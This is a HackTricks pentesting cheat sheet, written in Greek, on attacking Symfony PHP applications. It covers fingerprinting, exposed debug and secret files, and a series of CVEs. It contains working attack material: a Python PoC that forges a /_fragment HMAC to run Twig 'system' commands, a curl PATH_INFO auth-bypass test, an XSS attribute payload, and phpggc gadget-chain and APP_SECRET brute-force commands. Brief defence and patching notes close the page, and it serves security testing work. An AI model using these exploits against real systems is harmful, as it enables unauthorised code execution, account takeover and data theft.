Symfony

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Symfony είναι ένα από τα πιο ευρέως χρησιμοποιούμενα PHP frameworks και εμφανίζεται τακτικά σε αξιολογήσεις enterprise, e-commerce και CMS στόχων (Drupal, Shopware, Ibexa, OroCRM … όλα ενσωματώνουν Symfony components). Αυτή η σελίδα συγκεντρώνει offensive tips, κοινές λανθασμένες ρυθμίσεις και πρόσφατες ευπάθειες που πρέπει να έχετε στη λίστα σας όταν εντοπίζετε μία Symfony εφαρμογή.

Historical note: Μεγάλο μέρος του ecosystem τρέχει ακόμα το 5.4 LTS branch (EOL November 2025). Το Symfony 7.4 έγινε το νέο LTS το Nov 2025 και θα λαμβάνει security fixes μέχρι Nov 2029. Πάντα επαληθεύετε το ακριβές patch-level γιατί πολλές advisories του 2024‑2026 επιδιορθώθηκαν μόνο σε micro releases.


Recon & Enumeration

Finger-printing

  • Κεφαλίδες HTTP απάντησης: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ή cookies που ξεκινούν με sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) συχνά αποκαλύπτουν την ακριβή έκδοση:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Public routes που υπάρχουν μόνο σε Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith ή ffuf/feroxbuster λίστες λέξεων: symfony.txt → ψάξτε για /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathΓιατί έχει σημασία
/.env, /.env.local, /.env.prodΣυχνά αναπτύσσονται λανθασμένα → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgSource disclosure → credentials + business logic
/var/log/*.log, /log/dev.logΛανθασμένη ρύθμιση web-root εκθέτει stack-traces
/_profilerFull request history, configuration, service container, APP_SECRET (≤ 3.4)
/_fragmentΣημείο εισόδου που χρησιμοποιείται από ESI/HInclude. Κατάχρηση δυνατή μόλις γνωρίζετε APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE αν είναι προσβάσιμο (CVE-2017-9841)
/index.php/_error/{code}Finger-print & μερικές φορές leaks exception traces

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 αρχικά, αλλά εξακολουθεί να εμφανίζεται σε μοντέρνους στόχους όταν το debug παραμένει ενεργό ή εκτίθεται .env.
  • Μόλις γνωρίζετε το 32-char APP_SECRET, δημιουργείτε ένα HMAC token και καταχράστε τον εσωτερικό controller render() για να εκτελέσετε αυθαίρετο Twig:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Εξαιρετικό write-up & exploitation script: Ambionics blog (linked in References).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Επηρεάζει εκδόσεις κάτω από 5.4.50, 6.4.29 και 7.3.7. Η ομαλοποίηση του path μπορούσε να αφαιρέσει το αρχικό /, σπάζοντας κανόνες access-control που υποθέτουν διαδρομές όπως /admin.
  • Γρήγορο test: curl -H 'PATH_INFO: admin/secret' https://target/index.php → αν φτάνει σε admin routes χωρίς auth, το βρήκατε.
  • Patch: αναβαθμίστε symfony/http-foundation ή ολόκληρο το framework στο διορθωμένο patch level.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Επηρεάζει εκδόσεις κάτω από 5.4.51, 6.4.33, 7.3.11, 7.4.5 και 8.0.5 σε Windows όταν το PHP τρέχει από MSYS2 (Git-Bash, mingw). Το Process δεν έκανε σωστή quoting στο =, οδηγώντας σε αλλοιωμένα paths· καταστροφικές εντολές (rmdir, del) μπορεί να στοχεύσουν ανεπιθύμητους φακέλους.
  • Αν μπορείτε να ανεβάσετε ένα PHP script ή να επηρεάσετε Composer/CLI helpers που καλούν Process, δημιουργήστε arguments με = (π.χ. E:/=tmp/delete) για να προκαλέσετε επανεγγραφή διαδρομών.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Όταν register_argv_argc=On και χρησιμοποιούνται non-SAPI runtimes, crafted query strings μπορούσαν να αλλάξουν APP_ENV/APP_DEBUG μέσω parsing του argv. Patched σε 5.4.46/6.4.14/7.1.7.
  • Ψάξτε για /?--env=prod ή παρόμοια που γίνονται αποδεκτά στα logs.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Ειδικοί χαρακτήρες στο URI δεν επικυρώνονταν με τον ίδιο τρόπο όπως κάνουν τα browsers, επιτρέποντας redirect σε domains του attacker. Διορθώθηκε σε 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component πριν την 2.25.1 κάνουν render το {{ attributes }} χωρίς escaping → attribute injection/XSS. Αν η εφαρμογή επιτρέπει σε χρήστες να ορίζουν attributes component (admin CMS, email templating) μπορείτε να κάνετε chain σε script injection.
  • Αναβαθμίστε και τα δύο πακέτα σε 2.25.1+. Ως χειροκίνητο exploit, τοποθετήστε JS σε μια value attribute που περνάει σε custom component και ενεργοποιήστε το rendering.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Το component Process αναζητούσε το current working directory πριν από το PATH στα Windows. Επιτιθέμενος που μπορεί να ανεβάσει tar.exe, cmd.exe, κ.λπ. σε writable web-root και να προκαλέσει Process (π.χ. extraction αρχείων, PDF generation) αποκτά command execution.
  • Patched σε 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • Ο authentication guard επαναχρησιμοποιούσε υπάρχον session ID μετά το login. Αν ένας attacker θέσει το cookie πριν ο θύμας κάνει authentication, μπορεί να hijack-άρισει τον λογαριασμό μετά το login.

9. Twig sandbox XSS – CVE-2023-46734

  • Σε εφαρμογές που εκθέτουν user-controlled templates (admin CMS, email builder) το φίλτρο nl2br μπορούσε να χρησιμοποιηθεί για να παραβιαστεί το sandbox και να εγχυθεί JS.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id παράγει Phar payload που ενεργοποιεί RCE όταν γίνει unserialize() σε κλάσεις όπως sfNamespacedParameterHolder. Ελέγξτε endpoints upload αρχείων και phar:// wrappers.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce αδύναμου APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE μέσω εκτεθειμένου Symfony Console

Αν bin/console είναι προσβάσιμο μέσω php-fpm ή απευθείας ανέβασμα μέσω CLI:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Χρησιμοποιήστε deserialization gadgets μέσα στον φάκελο cache ή γράψτε ένα κακόβουλο Twig template που θα εκτελεστεί στο επόμενο αίτημα.

Δοκιμάστε γρήγορα τον PATH_INFO bypass (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Αν το αποδομένο αποτέλεσμα εμφανίζει το attribute χωρίς escaping, το XSS επιτυγχάνει. Επιδιορθώστε με patch στην έκδοση 2.25.1+.


Σημειώσεις άμυνας

  1. Ποτέ μην ενεργοποιείτε debug (APP_ENV=dev, APP_DEBUG=1) σε production· αποκλείστε /app_dev.php, /_profiler, /_wdt στη ρύθμιση του web-server.
  2. Αποθηκεύστε τα secrets σε env vars ή vault/secrets.local.php, ποτέ σε αρχεία προσβάσιμα μέσω του document-root.
  3. Εφαρμόστε διαχείριση patch – εγγραφείτε στις Symfony security advisories και διατηρήστε τουλάχιστον το LTS patch-level (5.4.x until Nov 2025, 6.4 until Nov 2027, 7.4 until Nov 2029).
  4. Αν τρέχετε σε Windows, αναβαθμίστε άμεσα για να μετριάσετε τα CVE-2024-51736 & CVE-2026-24739 ή προσθέστε open_basedir/disable_functions ως defence-in-depth.

Χρήσιμα εργαλεία επίθεσης

  • ambionics/symfony-exploits – secret-fragment RCE, ανακάλυψη debugger routes.
  • phpggc – Έτοιμες gadget chains για Symfony 1 & 2.
  • sf-encoder – μικρό helper για τον υπολογισμό του _fragment HMAC (Go implementation).

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks